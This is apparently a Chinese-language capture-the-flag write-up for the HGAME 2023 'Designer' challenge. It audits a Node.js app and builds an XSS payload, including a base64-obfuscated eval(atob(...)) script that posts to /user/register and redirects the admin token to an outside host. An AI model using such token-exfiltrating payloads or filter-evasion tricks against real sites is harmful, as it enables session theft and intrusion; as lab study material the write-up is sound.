[HGAME 2023 week2]Designer

[HGAME 2023 week2]Designer

考点:XSS跨站脚本攻击,模板注入

代码审计

function auth(req, res, next) {
  const token = req.headers["authorization"]
  if (!token) {
    return res.redirect("/")
  }
  try {
    const decoded = jwt.verify(token, secret) || {}
    req.user = decoded
  } catch {
    return res.status(500).json({ msg: "jwt decode error" })
  }
  next()
}

定义了auth函数对token值进行解密

继续往下看

app.post("/user/register", (req, res) => {
  const username = req.body.username
  let flag = "hgame{fake_flag_here}"
  if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
    flag = "hgame{true_flag_here}"
  }
  const token = jwt.sign({ username, flag }, secret)
  res.json({ token })
})

/user/register路由接受POST传参,如果满足if条件则返回flag,,注意到token值会包含flag。这里需要从本地访问而XFF伪造ip失败。

我们重点看下面代码

app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})

/button/share路由下使用await browser.newPage()创建新的页面,并且将req.body对象编码为查询字符串导航到所给的本地url,接着执行js代码

app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})

/button/preview路由定义了黑名单包括一些xss注入的关键词,然后渲染模板。

我们跟进到preview.ejs可以发现是存在模板注入的

<div class="button-wrapper">
    <a
      class="button"
      id="button"
      style="<% for (const key in data) {  %><%- key %>:<%- data[key] %> ;<% }; %>"
    >CLICK ME</a>
</div>

我们试试简单的payload

"><script>alert(1)</script>

在这里插入图片描述

我们要想得到flag,就得拿到正确的token值,也就是为admin用户并且ip是本地

我们可以借助/button/share路由中的对本地的请求外带到我们自己服务器上,从而得到他跳转时的正确token

如何实现呢,借助jQuery的语法(原因是/button/share可以解析执行js代码)

第三个参数为回调函数,将访问/user/register的token返回给我们

$.post("/user/register",{"username":"admin"},function(result){document.location='http://5i781963p2.yicp.fun:80?c='+JSON.stringify(result)});

然后我们插入xss代码,借助eval函数和atob函数(用来base64解码,不能有=)去执行

我们先试试能否连接上我们服务器,访问并传参

/button/preview?"><script>eval(atob('JC5wb3N0KCIvdXNlci9yZWdpc3RlciIseyJ1c2VybmFtZSI6ImFkbWluIn0sZnVuY3Rpb24ocmVzdWx0KXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovLzVpNzgxOTYzcDIueWljcC5mdW46ODA/Yz0nK0pTT04uc3RyaW5naWZ5KHJlc3VsdCl9KTs'))</script>

在这里插入图片描述

jwt解一下会发现是假的flag,那么我们只需要借助/button/share即可

在这里插入图片描述

得到正确token解密即可

相关推荐

  1. [HGAME 2022 week3]Multi Prime RSA(欧拉函数)

    2024-03-26 07:36:01       7 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-26 07:36:01       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-26 07:36:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-26 07:36:01       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-26 07:36:01       20 阅读

热门阅读

  1. ARM I2C温湿度实验

    2024-03-26 07:36:01       15 阅读
  2. 【链表】Leetcode 146. LRU 缓存【中等】

    2024-03-26 07:36:01       18 阅读
  3. npm常用命令详解

    2024-03-26 07:36:01       17 阅读
  4. 中间件学习

    2024-03-26 07:36:01       19 阅读
  5. UNDERSTANDING HTML WITH LARGE LANGUAGE MODELS

    2024-03-26 07:36:01       16 阅读